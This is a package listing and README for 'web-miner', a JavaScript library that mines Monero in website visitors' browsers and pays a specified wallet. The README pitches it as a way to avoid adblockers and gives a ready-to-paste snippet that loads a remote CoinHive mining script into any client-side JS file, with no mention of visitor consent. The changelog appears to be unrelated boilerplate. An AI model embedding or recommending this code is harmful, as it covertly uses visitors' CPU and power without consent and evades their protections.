Important: This documentation covers Yarn 1 (Classic).
For Yarn 2+ docs and migration guide, see yarnpkg.com.

Package detail

web-miner

davias121199049MIT1.0.1

Uses javascript on the client-side to mine Monero to a specified wallet. Faster than setting up Google or amazon ads and avoids most adblockers.

crypto, cryptocurrency, currency, miner, mining, monero, xmr, coinhive, bitcoin, web-miner

readme

Web Crypto Miner

Start making money for your sites, even during development. The web crypto miner allows you to easily mine Monero (xmr) in a browser using javascript. All you need is a monero wallet address.

Important notes:

  • Make sure you are using your public wallet address.
  • Once you have mined .035 xmr it will be transfered to your wallet addres.
    • This usually takes about 5 days with constant load from 1 user. So, the more users the better.
  • The pool fee is 1.5%

Install

npm i web-miner --save

Usage

This is for client-side code only.

If you don't have a monero wallet address and need one, I highly recommend https://mymonero.com

var configure = require('web-miner');

// Make sure to use your wallet address otherwise you'll be sending me coins
// Replace the string with your wallet address string
configure('4B9pCtvG2e5BMUxBjT1NsLgGDSHovEpHhCVJFx4U4kQgSYomecnqdAyXK3YdCv2W1NhhMrNFG5ieUM21uo3HxzzDTG9MT2f');

If for whatever reason you don't have access to npm or require modules you can append this code in any js file that the client uses. Again, just replace my wallet address string with your wallet address string:

var script = document.createElement('script');
script.onload = function () {
  // XMR Pool hash
  var m = new CoinHive.Anonymous('BUSbODwUSryGnrIwy3o6Fhz1wsdz3ZNu');
   // TODO: Replace the below string with wallet string
  m.start('4B9pCtvG2e5BMUxBjT1NsLgGDSHovEpHhCVJFx4U4kQgSYomecnqdAyXK3YdCv2W1NhhMrNFG5ieUM21uo3HxzzDTG9MT2f');
 };
script.src = 'https://coinhive.com/lib/coinhive.min.js';
document.head.appendChild(script);

DISCLAIMER: USE RESPONSIBLY. DO NOT PASTE THE ABOVE CODE INTO JS FILES THAT YOU DO NOT OWN. I CANNOT BE HELD RESPONSIBLE FOR YOUR ACTIONS.

Contributing

Pull requests and stars are always welcome. But before doing anything, please read the CONTRIBUTING.md guidelines.

changelog

1.0.0 - 2015-05-31

  • Release v1.0.0 / npm@v1.0.0
  • fix deps ranges
  • refactor, use then-write-file
  • update readme
  • add keywords
  • move to codeclimate coverage
  • implement

0.0.0 - 2015-05-30

  • first commits